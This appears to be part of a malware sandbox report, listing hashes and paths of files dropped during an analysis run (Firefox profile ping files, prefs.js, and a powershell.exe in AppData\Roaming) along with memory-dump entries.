Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9hv4mshu.default-release\datareporting\glean\pending_pings\34974125-5b7d-48be-87ef-925ce901ce7b
Size 896B
SHA256 fa5dc2ea99dd658a3ec3a96485acdd63054a23220b75e148016b3065d876488b
MD5 590203028ce5c0f3dd5f6b37d5a666a7
SHA1 3f173ff47d17f33290ea167eab631081146662e2
SHA512 2ce9f79271fee4afecfd54bb45aa4ed207ccae723e73e375277546223af5290aa41162e5338ef5df1124d01fd5657fd93aa5b3b04468591b74fe62ba260598e4
TLSH
T1651144818A7435B3CCE8A25794E077028BE87623C4C789087F615A085DBE51D639770B
MD5 SHA1 SHA512 TLSH

Submit Download

3a29c1f5-7b84-41a0-b3e9-961c672b889d

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9hv4mshu.default-release\datareporting\glean\pending_pings\3a29c1f5-7b84-41a0-b3e9-961c672b889d
Size 3KB
SHA256 bdfe09d299345e6fa77fd054a57c6ae17b8c7ea2b17fe2176d4f288a13dbd5c3
MD5 9ce5984893da09d49c942bb58f4f200d
SHA1 8ee02f2875c50e1e26509a3269cd5a386e8654a7
SHA512 b293f8b10ca10980e3b0f72c53805f5cdf6f45f568fcbb823d4c64b5bd912ea71b9084ca131d2032099b026baf28b6fefa5567787300063f451002d2ec96d8c1
TLSH
T19661722115547D338EECA045A3376E85CADE33CF584B0FCD25658E684AB846857CB25B
MD5 SHA1 SHA512 TLSH

Submit Download

4f500af8-eb5f-480c-a8e1-e5fcaea1781d

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9hv4mshu.default-release\datareporting\glean\pending_pings\4f500af8-eb5f-480c-a8e1-e5fcaea1781d
Size 3KB
SHA256 9f6a2da63bda29984f951163c7a7e4d760c2a2857810288c3a95d8c4d9ea382f
MD5 45e895f49ad263810fe86645956d6a74
SHA1 917d5df523c85453edfc174715f799b2b4664c4d
SHA512 000e33ae38667e9b8d2317eb5f5b475c07a0aa2897f2fdff7f456f05e5aefbd5339060dbe9a952f85f7612b7facfafb5edd1561a541ac81ae39e34ed9df67015
TLSH
T14D6160211594BD338FECA041E33B6E448ADE33CF585B0BCD2165CB284AA846993CB25B
MD5 SHA1 SHA512 TLSH

Submit Download

61d0c8da-418e-410e-ade0-ca7ffc658246

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9hv4mshu.default-release\datareporting\glean\pending_pings\61d0c8da-418e-410e-ade0-ca7ffc658246
Size 2KB
SHA256 ac8be51ad04b90f9a3a60f003831b45debb2af3a728dc0c4afa6fc258c966663
MD5 c532f069cb8aea528eb9bbf4cf0c2cb6
SHA1 54f7bedb1adb7785a8f28c585d810fd9111be090
SHA512 5051346157cae48dbfe58f58b31746a338defb38d841d59f68d59c87a65daeba42b37028f2811ff70d405afc8b6e9ae57e7fdb5f6b187fc054e7bd8c24b33160
TLSH
T1EF41316C39785C7B5CDAFA5D9482374E57A18A1300C21C432E51DF0CCD967EA736A52B
MD5 SHA1 SHA512 TLSH

Submit Download

62b0de0c-fed9-47a4-93ab-ba6d671a9b18

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9hv4mshu.default-release\datareporting\glean\pending_pings\62b0de0c-fed9-47a4-93ab-ba6d671a9b18
Size 16KB
SHA256 195545489ee8b82f9e3c60eb935b17169d1cd03b654db24c41ad29c875e58322
MD5 cd8fd3a327f16c05d386b4b2d68a7d3c
SHA1 58fcf25c66cc26c79ef49a8d2d217fd3ed680a55
SHA512 8497fac4507e6edc14c75b666855332581deca462f81f85eb755644d7993927438115537e72dd2f11b7d32f14608d52136119868b63c5eb5d8a07c3f77d99bc9
SSDEEP 384:vb+UxZNUKRijwNyJQtpBTrt6cu4/580Z8:XijqyGf1rb8g8
TLSH
T1CA72D9565820447A8251E369D4ECBFC3E6F63CCF4C419FC99BE07E086DDA0AE112794B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7deb975e-df1b-4bd0-a7ac-1c9443657707

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9hv4mshu.default-release\datareporting\glean\pending_pings\7deb975e-df1b-4bd0-a7ac-1c9443657707
Size 235B
SHA256 68cff581d0dbac2d1051988f89b035d8a0d3354288c46912a6e14b0c3d1d33d8
MD5 9eef1cb9a9b949a55c58bf923dfc3a8b
SHA1 56bb35c5e24b1cb2d0801c5f118b8c4435f8d1dc
SHA512 76c0a84b212bf81d791edc72fa51f4387db722a7283e94749831fe93f35ba8032a668a1f88deb7a121646e93e2d5cca98f0d3e002e3fb9d240a946e196c4009e
TLSH
T151D09780248C672D6C280F1BF1F828C230888C3314705821A6538078AAFC9C402A6C1F
MD5 SHA1 SHA512 TLSH

Submit Download

8623422b-cd42-4927-9af9-d9abb27ba529

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9hv4mshu.default-release\datareporting\glean\pending_pings\8623422b-cd42-4927-9af9-d9abb27ba529
Size 3KB
SHA256 2401ce40b624dc7a5f76834903873cd37bb05c502d0ccbbbf7058c14a4c795db
MD5 96b447f8f6c6c2ff1f65eb59b9525af7
SHA1 94759a845dd2de8e02d5127663cdad9a384abda2
SHA512 1e723c3878f48da4b696b0088ebde5376913b13ee771b5a335bea137d3985c652fd7b0c649c0c770af2e0e13f0c7e69291ae989c555cf467a7225602df129ef6
TLSH
T18561622115947C338FECB045A3372E949ADE33DF584B0F8C21A99E684AF846953CB35B
MD5 SHA1 SHA512 TLSH

Submit Download

bcfb2ce6-0619-41f8-a799-2f52c95531e2

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9hv4mshu.default-release\datareporting\glean\pending_pings\bcfb2ce6-0619-41f8-a799-2f52c95531e2
Size 235B
SHA256 41f04d0fc8ce54ea185f0d0b5c06b60c7d3ca5a31e2381008380b2c6f2abeb47
MD5 63ac719b8392e40fae457c1a86176f05
SHA1 df23a72507629b1f44927dc0ba759b0673066e10
SHA512 2584f9e168768fe5794f34bc628cf8a7473323c234259872321f4c1ef73ca47be08776dc3a7dfc16f78ab47a7a9df9b7ed62f20182489e67875ebb52247b0458
TLSH
T1E8D097812488679D0C0D0F23F0E06CC630884C7350B868209A6199B88ABDAC4122282B
MD5 SHA1 SHA512 TLSH

Submit Download

d34dc8db-2482-4bec-9fc9-619844197fcc

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9hv4mshu.default-release\datareporting\glean\pending_pings\d34dc8db-2482-4bec-9fc9-619844197fcc
Size 3KB
SHA256 c18372f96eb08134c7e4413ed7d4df1ac98d32092034969708c6165b7c365174
MD5 70fea7700dac5ca2e7242aad39636bdc
SHA1 9e5ea0b97bf38c70303b70210b5eabc898ba9390
SHA512 6e1991e9e2d8b477d247139d7012029263ce9f3c6f6043ffca75796619357b3e3a825bd1047c9dd7550b54f77010bf7430f7cc2b26a19453039ed8b2cc67addf
TLSH
T1676185211554BD338FECA041A3376E458ADE33CF580B0B8C2569CA684AF846883CB25B
MD5 SHA1 SHA512 TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9hv4mshu.default-release\prefs.js
Size 6KB
SHA256 ee6a6d20633bcf0ba9ee36142193e058c0de28b9f2379f200f8e9518c51f635b
MD5 66a8e89d30dfa45898e9316692707da5
SHA1 ddc3aef346fb1053097d979af2e9aeada3afb2c9
SHA512 e534fb7cf2a19d88cbed84061e40070248e53ccf4afcc1d16e7e65879176414186f610d06a1e989f4535e553c49ef7d3604d91d55cafabfbb2641b51ea9bf472
SSDEEP 96:xH89UTUfqGq8fCqVKjfnjz1zSp8amSSl8pdv9jawnFIH6OBw88n8L4cnoV81FHn:2CR8fCqVYvo8amSSGk6OBw885y3H
TLSH
T150E11E789508CB7F64B67B6CAC688C315AB2413B77BF68D750B95484050CF3482F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe

Path C:\Users\Admin\AppData\Roaming\powershell.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
TLSH
T134A45A976BD432D5D83AC435C83344520722BCB9DB919BDB99D8B23D0E712C09E3EA67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1936-185-0x000001920EC40000-0x000001920ECFE000-memory.dmp

Download

memory/2856-63-0x00000230484A0000-0x00000230484F0000-memory.dmp

Download

memory/2856-64-0x0000023048C70000-0x0000023049198000-memory.dmp

Download

memory/2856-358-0x00000230479E0000-0x00000230479F0000-memory.dmp

Download

memory/2856-9-0x0000023047980000-0x00000230479A2000-memory.dmp

Download

memory/2856-10-0x00000230479B0000-0x00000230479B8000-memory.dmp

Download

memory/2856-11-0x0000023047D60000-0x0000023047DF2000-memory.dmp

Download

memory/2856-12-0x0000023047DF0000-0x0000023047EAE000-memory.dmp

Download

memory/2856-0-0x00000230479E0000-0x00000230479F0000-memory.dmp

Download

memory/2856-49-0x00000230482F0000-0x00000230483A2000-memory.dmp

Download

memory/2856-1-0x00000230479E0000-0x00000230479F0000-memory.dmp

Download

memory/2856-66-0x00000230483E0000-0x00000230483FE000-memory.dmp

Download

memory/2856-61-0x0000023048570000-0x0000023048732000-memory.dmp

Download

memory/2856-62-0x0000023048420000-0x0000023048496000-memory.dmp

Download

memory/2856-357-0x00000230479E0000-0x00000230479F0000-memory.dmp

Download

memory/5504-65-0x000002042A230000-0x000002042A274000-memory.dmp

Download

memory/5504-52-0x00000204119D0000-0x00000204119E0000-memory.dmp

Download

memory/5504-51-0x00000204119D0000-0x00000204119E0000-memory.dmp

Download

memory/5504-875-0x00000204119D0000-0x00000204119E0000-memory.dmp

Download

memory/5504-884-0x00000204119D0000-0x00000204119E0000-memory.dmp

Download

memory/5800-257-0x000001A977D80000-0x000001A977E3E000-memory.dmp

Download